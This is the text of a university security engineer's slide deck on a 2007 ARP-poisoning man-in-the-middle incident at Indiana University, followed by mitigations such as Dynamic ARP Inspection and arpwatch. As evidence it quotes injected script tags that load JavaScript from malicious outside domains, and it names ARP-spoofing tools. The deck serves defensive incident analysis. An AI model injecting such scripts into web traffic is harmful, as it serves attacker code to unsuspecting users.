ARP Poison Routing
An Attack at Indiana University
David A. Greenberg, GSEC, GCWN, GCFA
Principal Security Engineer
University Information Security Office
Information and Infrastructure Assurance
Office of the Vice President for Information Technology and CIO
Indiana University
Introduction
About Indiana University
Address Resolution Protocol (ARP)
ARP Attacks
The Incident
Future Mitigation
Indiana University
Eight IU campuses
Home of:
REN-ISAC
Internet2 Network NOC
Big Red Supercomputer
Jacobs School of Music
Indiana University
100,000 Students enrolled
17,000 Faculty and Staff
In Bloomington and Indianapolis:
30,000 University owned computers
59,000 Estimated personal computers
Source: factbook.indiana.edu
Address Resolution Protocol
Address Resolution Protocol
Ethernet uses Media
Access Control (MAC)
addresses
Internet uses Internet
Protocol (IP) Addresses
Address Resolution
Protocol (ARP) ties these
two together
ARP Request
Who has IP address 10.0.0.50?
Tell 0101.0101.0101
MAC: 1010.1010.1010
IP: 10.0.0.50
MAC: 0101.0101.0101
IP: 10.0.0.22
10.0.0.50 is at 1010.1010.1010
Look It Up
The word gullible was removed
from the 2008 edition of the
unabridged Meriam-Webster
dictionary.
ARP Spoofing / Gratuitous ARP
1. ARP Request
2. ARP Reply
?
2. 10.0.0.50 is at
1. 1010.1010.1010
Who has IP address 10.0.0.50?
Tell 0101.0101.0101
2a. 10.0.0.50 is at
1111.1110.1010
2. Spoofed ARP Reply
ARP Spoofing
Cain & Abel
Dsniff
Ettercap
Router Impersonation
Server Side ARP Spoofing
October 4, 2007
ARP spoofing at a shared hosting site
http://www.avertlabs.com/research/blog
/ index.php/2007/10/04/arp-spoofing-isyour-web-hosting-service-protected/
Incident at the University
http issues and possible security
problem
Symptoms
Intermittent - comes and goes
Slow loading web pages
handful of users reporting problem
Injecting code in web sites
Affecting multiple Operating Systems
Intermittent
First contact:
Mon, 24 Sep 2007 19:50:43 -0400
Problem seen on:
Friday 9/14 (early afternoon 4:30)
Monday 9/17 (afternoon)
Monday 9/24 (noon afternoon)
Slow Loading Web Sites
<script src=http://1.4h4.us/1.js></script>
or...
<script src=http://rb.vg/1.js></script>
http://www.xkcd.com/
Problem noticed by:
Windows users
Mac users
DHCP users
Student labs and Departmental builds
But only about 7 users reported
experiencing the problem.
Not Static IP users?
Investigation
DNS logs
157 machines on the vlan looked up the
malware domain on 9/24/2007
Still, department only reported a handful of
affected computers
Possible Causes
The machines themselves are compromised
Injection happening locally on each
machine
Web sites compromised
Rogue DHCP
ARP - MITM
Local Machine Compromised?
Windows XP, Mac OS X
All running up to date Anti Virus software
Problem not persistent
Two builds affected, each maintained by
different group
Student Technology Center users run as limited
users
Identical machines at other locations not
affected
Web Sites Compromised?
Code only visible from computers on one
virtual lan (vlan)
Visible in many unrelated websites
located around the world (cnn.com
google.com, indiana.edu, etc.)
DHCP ?
Indiana University runs one central
DHCP service
All computers were communicating with
the DHCP server normally.
Nothing abnormal in the DHCP logs
ARP MITM?
Intra-vlan traffic not visible to University
sniffers
ARP traffic not recorded anywhere
Machines still communicate with external
sites
On-site Investigation
Support provider prepared a laptop with
Wireshark and waited until
Morning of September 28, 2007
As we thought Friday
Plugged laptop into problem network and
captured traffic
Wireshark ARP Flooding
MAC Registration
00:16:36:69:36:3f - 129.79.232.AB
Department: Department X
Computer name: iub-83643e60024
Username: User5
Mozilla/5.0 (Windows; U; Windows NT
5.1; en-US; rv:1.8.0.12)
Gecko/20070508 Firefox/1.5.0.12
Network Police
Room 418, Jack K
Student laptop
Collected and imaged
Interesting Bits of the Timeline
9/24/2007 9:36:42 AM
9/24/2007 9:36:42 AM
9/24/2007 9:36:43 AM
9/24/2007 9:36:43 AM
9/24/2007 9:36:52 AM
9/24/2007 9:36:52 AM
9/24/2007 9:36:54 AM
9/24/2007 9:36:54 AM
9/24/2007 9:36:54 AM
191 mymsn[9].htm
1,809 9A993DE690A360E44D7240[1].jpg
5,448 mymsn[7].js
81,920 index.dat
21,292 A0001294.exe
15,762 A0001314.dll
61,440 WanPacket.dll
81,920 Packet.dll
233,472 wpcap.dll
Malicious Software
File A0001294.exe received on 10.01.2007
19:16:12 (CET)
VirusToal: Ikarus
Trojan-Downloader.Win32.Zlob.and
C:\Program Files\PaqTool\keylog\icosdll.dll
Mitigation
Static ARP Tables
Port Security
One MAC per port
Private VLANs
Arpwatch tool
DHCP Snooping + Dynamic ARP
Inspection
Static ARP Tables
Only choice for static IP addresses
Build off of DHCP tables for DHCP
addresses
One MAC Per Port
Prevent easy MAC spoofing
Private VLANs
VLAN within a VLAN
Hosts on private VLAN can only talk to a
single trusted port
One way interception still possible
Arpwatch
Arpwatch keeps track for ethernet/ip
address pairings. It syslogs activity and
reports certain changes via email.
Arpwatch uses pcap(3) to listen for arp
packets on a local ethernet interface.
/etc/arpwatch.conf
eth0 -n 10.0.0.0/8
From: http://linux.die.net/man/8/arpwatch
Dynamic ARP Inspection
Switch intercepts all ARP packets
Verify MAC to IP binding in local cache
Compare to trusted database built by
DHCP Snooping and user configured
entries
Questions?
ARP Spoofing
An Attack at Indiana University
David A. Greenberg, GSEC, GCWN, GCFA
Principal Security Engineer
University Information Security Office
Information and Infrastructure Assurance
Office of the Vice President for Information Technology and CIO
Indiana University
Support Slides
An Ethernet Frame
